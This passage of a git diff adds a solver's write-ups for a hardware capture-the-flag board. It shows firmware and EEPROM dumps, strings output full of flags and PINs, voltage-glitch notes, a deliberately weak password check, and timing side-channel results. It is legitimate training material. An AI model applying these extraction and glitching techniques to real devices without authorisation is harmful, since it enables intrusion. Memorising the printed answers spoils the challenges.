+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
